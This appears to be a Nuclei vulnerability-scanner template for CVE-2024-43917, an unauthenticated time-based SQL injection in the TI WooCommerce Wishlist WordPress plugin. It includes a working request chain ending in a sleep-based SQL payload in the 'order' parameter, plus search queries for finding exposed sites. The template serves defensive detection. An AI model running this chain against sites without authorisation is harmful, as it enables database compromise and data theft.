id: CVE-2024-43917

info:
  name: WordPress TI WooCommerce Wishlist Plugin <= 2.8.2 - SQL Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    In the latest version (2.8.2 as of writing the article) and below, the plugin is vulnerable to a SQL injection vulnerability that allows any users to execute arbitrary SQL queries in the database of the WordPress site. No privileges are required to exploit the issue. The vulnerability is unpatched on the latest version and is tracked as the CVE-2024-43917.
  impact: |
    Unauthenticated attackers can execute time-based SQL injection to extract sensitive data from the WordPress database.
  remediation: |
    Update TI WooCommerce Wishlist plugin to a version that patches CVE-2024-43917.
  reference:
    - https://patchstack.com/articles/unpatched-sql-injection-vulnerability-in-ti-woocommerce-wishlist-plugin/
    - https://patchstack.com/database/vulnerability/ti-woocommerce-wishlist/wordpress-ti-woocommerce-wishlist-plugin-2-8-2-sql-injection-vulnerability?_s_id=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2024-43917
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-43917
    cwe-id: CWE-89
    epss-score: 0.21769
    epss-percentile: 0.97326
    cpe: cpe:2.3:a:templateinvaders:ti_woocommerce_wishlist:*:*:*:*:free:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: templateinvaders
    product: ti_woocommerce_wishlist
    framework: wordpress
    fofa-query: body="/wp-content/plugins/ti-woocommerce-wishlist/"
    publicwww-query: "/wp-content/plugins/ti-woocommerce-wishlist/"
  tags: time-based-sqli,cve,cve2024,wp,wordpress,ti-woocommerce-wishlist,wp-plugin,sqli,vkev,vuln

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET /?p=1 HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    extractors:
      - type: regex
        part: body
        internal: true
        name: nonce
        group: 1
        regex:
          - '"nonce":"([a-z0-9]+)"'

  - raw:
      - |
        GET /product-category/uncategorized/ HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        internal: true
        name: product_id
        group: 1
        regex:
          - 'data-tinvwl_product_id="([0-9]+)"'

    matchers:
      - type: word
        part: body
        words:
          - 'data-tinvwl_product_id="'
        internal: true

  - raw:
      - |
        POST /product-category/uncategorized/ HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: XMLHttpRequest
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNfcbSwJQX8ALWCMG

        ------WebKitFormBoundaryNfcbSwJQX8ALWCMG
        Content-Disposition: form-data; name="form[tinvwl-hidden-fields]"

        []
        ------WebKitFormBoundaryNfcbSwJQX8ALWCMG
        Content-Disposition: form-data; name="tinv_wishlist_id"


        ------WebKitFormBoundaryNfcbSwJQX8ALWCMG
        Content-Disposition: form-data; name="tinv_wishlist_name"


        ------WebKitFormBoundaryNfcbSwJQX8ALWCMG
        Content-Disposition: form-data; name="product_type"

        simple
        ------WebKitFormBoundaryNfcbSwJQX8ALWCMG
        Content-Disposition: form-data; name="product_id"

        {{product_id}}
        ------WebKitFormBoundaryNfcbSwJQX8ALWCMG
        Content-Disposition: form-data; name="product_variation"

        0
        ------WebKitFormBoundaryNfcbSwJQX8ALWCMG
        Content-Disposition: form-data; name="product_action"

        addto
        ------WebKitFormBoundaryNfcbSwJQX8ALWCMG
        Content-Disposition: form-data; name="redirect"

        {{RootURL}}/product-category/uncategorized/
        ------WebKitFormBoundaryNfcbSwJQX8ALWCMG--

    extractors:
      - type: json
        part: body
        name: share_key
        internal: true
        json:
          - '.wishlist.share_key'

  - raw:
      - |
        @timeout: 20s
        GET /wp-json/wc/v3/wishlist/{{share_key}}/get_products?order=,(select*from(select(sleep(6)))a)--+- HTTP/1.1
        Host: {{Hostname}}
        X-WP-Nonce: {{nonce}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "duration>=6"
          - "contains(content_type, 'application/json')"
          - "contains(body, 'product_id')"
        condition: and
# digest: 4b0a00483046022100a3108326085311f3638d45d8ac6044ccdb3e39a65975d86ffd8a4d404dbb3753022100df718d3eec667b1ca23ccc1ddc70eac9e3577d3a895cd12471b7c670f10b09c5:922c64590222798bb761d5b6d8e72950